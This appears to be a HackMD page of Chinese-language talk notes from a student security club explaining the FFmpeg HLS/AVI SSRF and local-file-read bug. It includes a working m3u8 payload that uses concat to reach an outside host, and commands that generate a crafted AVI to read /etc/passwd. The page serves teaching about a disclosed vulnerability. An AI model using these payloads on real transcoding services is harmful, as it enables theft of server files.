FFmpeg + AVI + HLS
FB: 交大網路安全策進會
calee@cs.nctu.edu.tw
交大資工 大三
交大 BambooFox 新手村成員
Server Side Request Forgery
结合 SSRF ,我們可以把 file:// 讀到的內容發送出来
concat: URL1 | URL2 | … | URLN
#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln
#EXT-X-ENDLIST
wget https://raw.githubusercontent.com/neex/ffmpeg-avi-m3u-xbin/master/gen_xbin_avi.py
python3 gen_xbin_avi.py file:///etc/passwd sxcurity.avi
ffmpeg -i sxcurity.avi output.mp4
/etc/passwd
以影片的方式,呈現出來
#EXTM3U // 宣告 m3u8 playlist
#EXT-X-VERSION:3
#EXT-X-ALLOW-CACHE:YES
#EXT-X-MEDIA-SEQUENCE:4454
#EXT-X-TARGETDURATION:4 // 每隔 4 秒重新抓一次
#EXTINF:3.998, no desc // 此片段停留 3.998
25133_src/4460.ts // 要索取的 ts 檔
#EXTINF:3.992, no desc
25133_src/4461.ts
#EXTINF:3.985, no desc
25133_src/4462.ts
#EXTINF:3.979, no desc
25133_src/4463.ts
#EXTINF:3.996, no desc
25133_src/4464.ts
所以我們希望 m3u8 playlist 可以長這樣
[AVI header]
[GAB2 header]
[m3u8 header]
[XBIN header]
目标文件
[XBIN footer]
[m3u8 footer]
[AVI footer]
希望形成的格式
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:1
#EXTINF:1.0,
data:<format-header>
#EXTINF:1.0,
file:///etc/passwd
#EXTINF:1.0,
data:<format-footer>
#EXT-X-ENDLIST
但是 FFmpeg 對 body 作檢查了,不允許 data 宣告
Learn More →
https://hackerone.com/reports/243470
新的生成檔會長這樣:
Learn More →
or
or
By clicking below, you agree to our terms of service.
New to HackMD? Sign up
Syntax | Example | Reference | |
---|---|---|---|
# Header | Header | 基本排版 | |
- Unordered List |
|
||
1. Ordered List |
|
||
- [ ] Todo List |
|
||
> Blockquote | Blockquote |
||
**Bold font** | Bold font | ||
*Italics font* | Italics font | ||
~~Strikethrough~~ | |||
19^th^ | 19th | ||
H~2~O | H2O | ||
++Inserted text++ | Inserted text | ||
==Marked text== | Marked text | ||
[link text](https:// "title") | Link | ||
 | Image | ||
`Code` | Code |
在筆記中貼入程式碼 | |
```javascript var i = 0; ``` |
|
||
:smile: | ![]() |
Emoji list | |
{%youtube youtube_id %} | Externals | ||
$L^aT_eX$ | LaTeX | ||
:::info This is a alert area. ::: |
This is a alert area. |
On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?
Please give us some advice and help us improve HackMD.
Do you want to remove this version name and description?
Syncing